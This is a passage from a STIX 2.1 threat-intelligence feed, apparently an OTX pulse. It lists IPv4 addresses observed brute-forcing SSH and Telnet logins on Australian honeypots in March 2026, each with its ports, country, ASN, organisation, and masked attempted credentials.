      "modified": "2026-03-22T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.245.106.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T16:15:14.000Z",
      "valid_until": "2026-04-23T16:15:11.000Z"
    },
    {
      "created": "2026-03-22T16:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD..",
      "id": "indicator--72c8488d-8386-403a-9f5a-82c9aaa24adb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.140.229.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T16:15:14.000Z",
      "valid_until": "2026-04-23T16:15:11.000Z"
    },
    {
      "created": "2026-03-22T16:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--8c80b8de-fc05-4866-8385-23be5552343c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.128.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T16:15:14.000Z",
      "valid_until": "2026-04-23T16:15:11.000Z"
    },
    {
      "created": "2026-03-22T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 1080. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--ec9f76ce-80f9-4b00-8e9c-c34a14dc63ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.248.109.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T16:15:14.000Z",
      "valid_until": "2026-04-23T16:15:11.000Z"
    },
    {
      "created": "2026-03-22T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 3216. Organisation(s): PVimpelCom. Usernames observed (masked): c*******t, r**t, t******l. Passwords observed (masked): 1**4, A********a, m*******W.",
      "id": "indicator--956afa00-39a3-4584-b6b5-801d2a31eb83",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '81.211.88.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T16:15:14.000Z",
      "valid_until": "2026-04-23T16:15:11.000Z"
    },
    {
      "created": "2026-03-22T17:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--134db202-a58c-430f-832c-dc0095cc1b0f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T17:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T17:15:14.000Z",
      "valid_until": "2026-04-23T17:15:12.000Z"
    },
    {
      "created": "2026-03-22T17:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--48f0a3fd-4f54-41f9-9124-dacc6d646f3f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T17:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.202.50.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T17:15:14.000Z",
      "valid_until": "2026-04-23T17:15:12.000Z"
    },
    {
      "created": "2026-03-22T17:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: DE. ASN(s): 60729. Organisation(s): Stiftung Erneuerbare Freiheit.",
      "id": "indicator--2a86cccf-2fe7-4020-97e0-e543e144a4c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T17:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T17:15:14.000Z",
      "valid_until": "2026-04-23T17:15:12.000Z"
    },
    {
      "created": "2026-03-22T17:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--8a0528da-1164-4619-8fed-cdaa320d5ef1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T17:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T17:15:14.000Z",
      "valid_until": "2026-04-23T17:15:12.000Z"
    },
    {
      "created": "2026-03-22T17:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 43530. Organisation(s): Limited Liability Company Irtelcom. Usernames observed (masked): r**t, s*****e. Passwords observed (masked): a****e, d******x, s*****e, t***t.",
      "id": "indicator--8d5ed199-7896-46fb-a791-bc279237da5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T17:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.35.158.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T17:15:14.000Z",
      "valid_until": "2026-04-23T17:15:12.000Z"
    },
    {
      "created": "2026-03-22T18:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--42b2be9f-f93a-4631-9880-58aace94a8a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T18:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.37.81.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T18:15:04.000Z",
      "valid_until": "2026-04-23T18:15:02.000Z"
    },
    {
      "created": "2026-03-22T18:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 159. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 17451. Organisation(s): BIZNET NETWORKS. Usernames observed (masked): r**t, 3**********4, ***, ***, d****o. Passwords observed (masked): 3***********4, 3**********4, ***, L******4, Q***********3.",
      "id": "indicator--8bb0263f-e129-4f2e-a9b2-88a45bcc4fe6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T18:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.99.102.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T18:15:04.000Z",
      "valid_until": "2026-04-23T18:15:02.000Z"
    },
    {
      "created": "2026-03-22T18:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--2303acee-2166-4ffb-9d86-d3741c8eb264",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T18:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '203.55.131.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T18:15:04.000Z",
      "valid_until": "2026-04-23T18:15:02.000Z"
    },
    {
      "created": "2026-03-22T18:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 16509. Organisation(s): Amazon.com, Inc.. Usernames observed (masked): **, r**t, 3**********4, **, k****h. Passwords observed (masked): p******d, 1***5, 3***********4, 3**********4, a*******0.",
      "id": "indicator--3a18bc90-e660-4473-8888-61c6d66f3e14",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T18:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '35.154.117.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T18:15:04.000Z",
      "valid_until": "2026-04-23T18:15:02.000Z"
    },
    {
      "created": "2026-03-22T18:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--7d338af9-f31e-4a81-9b6a-63134e348812",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T18:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.226.113.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T18:15:04.000Z",
      "valid_until": "2026-04-23T18:15:02.000Z"
    },
    {
      "created": "2026-03-22T18:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 7018. Organisation(s): AT&T Enterprises, LLC.",
      "id": "indicator--3caa2fe4-3ef8-471e-ae7e-dca0d6b71d91",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T18:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '75.3.252.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T18:15:04.000Z",
      "valid_until": "2026-04-23T18:15:02.000Z"
    },
    {
      "created": "2026-03-22T19:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 134760. Organisation(s): Shijiazhuang IDC network, CHINANET Hebei province.",
      "id": "indicator--95b53c0e-22b4-49b1-b5d8-54bb622e3367",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.149.244.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T19:15:14.000Z",
      "valid_until": "2026-04-23T19:15:11.000Z"
    },
    {
      "created": "2026-03-22T19:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--b2a83b28-fd15-47f7-9abc-6594b1466844",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '124.29.230.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T19:15:14.000Z",
      "valid_until": "2026-04-23T19:15:11.000Z"
    },
    {
      "created": "2026-03-22T19:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp.",
      "id": "indicator--7a7d9728-d9ed-4094-8f1b-830d1b8fc0ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.169.129.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T19:15:14.000Z",
      "valid_until": "2026-04-23T19:15:11.000Z"
    },
    {
      "created": "2026-03-22T19:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--334af8da-68ef-4803-86ba-3ce7c62b1094",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.69.99.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T19:15:14.000Z",
      "valid_until": "2026-04-23T19:15:11.000Z"
    },
    {
      "created": "2026-03-22T19:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 52312. Organisation(s): TV MUSIC HOUSE JUJUY.",
      "id": "indicator--4a4c5943-9e53-4512-8967-1c557539a5bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.52.38.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T19:15:14.000Z",
      "valid_until": "2026-04-23T19:15:11.000Z"
    },
    {
      "created": "2026-03-22T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 204957. Organisation(s): Green Floid LLC.",
      "id": "indicator--1cf6b26b-f9ff-4503-aa39-c48a5b8076b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.211.96.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T19:15:14.000Z",
      "valid_until": "2026-04-23T19:15:11.000Z"
    },
    {
      "created": "2026-03-22T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: TR. ASN(s): 34619. Organisation(s): Cizgi Telekomunikasyon Anonim Sirketi.",
      "id": "indicator--24d100f4-80d4-4c0b-869b-cf29e1748b0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '37.148.214.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T19:15:14.000Z",
      "valid_until": "2026-04-23T19:15:11.000Z"
    },
    {
      "created": "2026-03-22T19:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--16b98d80-01c7-497f-bbe5-3ac09971c5f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '42.177.22.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T19:15:14.000Z",
      "valid_until": "2026-04-23T19:15:11.000Z"
    },
    {
      "created": "2026-03-22T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14956. Organisation(s): RouterHosting LLC.",
      "id": "indicator--3f046f09-4d31-45bf-ad9d-5866af78eff7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.61.133.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T19:15:14.000Z",
      "valid_until": "2026-04-23T19:15:11.000Z"
    },
    {
      "created": "2026-03-22T19:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--c1bb29f6-6d52-47fe-9ccd-b1f47b0a7c5d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.183.103.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T19:15:14.000Z",
      "valid_until": "2026-04-23T19:15:11.000Z"
    },
    {
      "created": "2026-03-22T19:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 20115. Organisation(s): Charter Communications LLC.",
      "id": "indicator--9127c3d0-19f3-43ec-ae7f-125b001f2920",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.227.128.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T19:15:14.000Z",
      "valid_until": "2026-04-23T19:15:11.000Z"
    },
    {
      "created": "2026-03-22T20:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--28b059ce-53a5-4cd9-b73e-e4ec6e8efc4c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.27.197.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T20:15:14.000Z",
      "valid_until": "2026-04-23T20:15:11.000Z"
    },
    {
      "created": "2026-03-22T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9498. Organisation(s): BHARTI Airtel Ltd.. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--c45565df-cff0-4b89-83c1-6fa56de6b386",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.20.210.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T20:15:14.000Z",
      "valid_until": "2026-04-23T20:15:11.000Z"
    },
    {
      "created": "2026-03-22T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--823ba1de-f7b7-4464-9591-515a1b61f52a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.29.49.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T20:15:14.000Z",
      "valid_until": "2026-04-23T20:15:11.000Z"
    },
    {
      "created": "2026-03-22T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 547. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, m*****r, t**t, u**r. Passwords observed (masked): 1****6, p******d, 1**4, 1***5, 0**************D.",
      "id": "indicator--59653da6-87dd-43c1-abd3-c6bcae9c449a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.79.5.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T20:15:14.000Z",
      "valid_until": "2026-04-23T20:15:11.000Z"
    },
    {
      "created": "2026-03-22T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 496. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, d*******r, s*****t, t**t. Passwords observed (masked): a***n, 1**4, a******3, 0*************7, 0********1.",
      "id": "indicator--685ef743-7c50-49e2-812e-732700252164",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.79.5.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T20:15:14.000Z",
      "valid_until": "2026-04-23T20:15:11.000Z"
    },
    {
      "created": "2026-03-22T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38283. Organisation(s): CHINANET SiChuan Telecom Internet Data Center.",
      "id": "indicator--99aa786b-9b5e-45d8-a267-7fd93924123c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.122.147.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T21:15:08.000Z",
      "valid_until": "2026-04-23T21:15:05.000Z"
    },
    {
      "created": "2026-03-22T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group. Usernames observed (masked): **. Passwords observed (masked): r*******y, r**********************1.",
      "id": "indicator--b7426580-3410-41fb-b88c-ca8eea9c8808",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.227.156.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T21:15:08.000Z",
      "valid_until": "2026-04-23T21:15:05.000Z"
    },
    {
      "created": "2026-03-22T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 149. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 150895. Organisation(s): EZ TECHNOLOGY COMPANY LIMITED. Usernames observed (masked): a***n, 3**********4, a*****o, a*****o, b**h. Passwords observed (masked): 1****6, 1******8, 1**4, 3***********4, 3**********4.",
      "id": "indicator--9fe71027-1950-484f-b2b8-70689bb7e8ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '160.250.181.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T21:15:08.000Z",
      "valid_until": "2026-04-23T21:15:05.000Z"
    },
    {
      "created": "2026-03-22T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 22. Source country: DZ. ASN(s): 36947. Organisation(s): Telecom Algeria. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--ec5033cb-0d00-4a8c-b059-de357b9686f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.110.4.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T21:15:08.000Z",
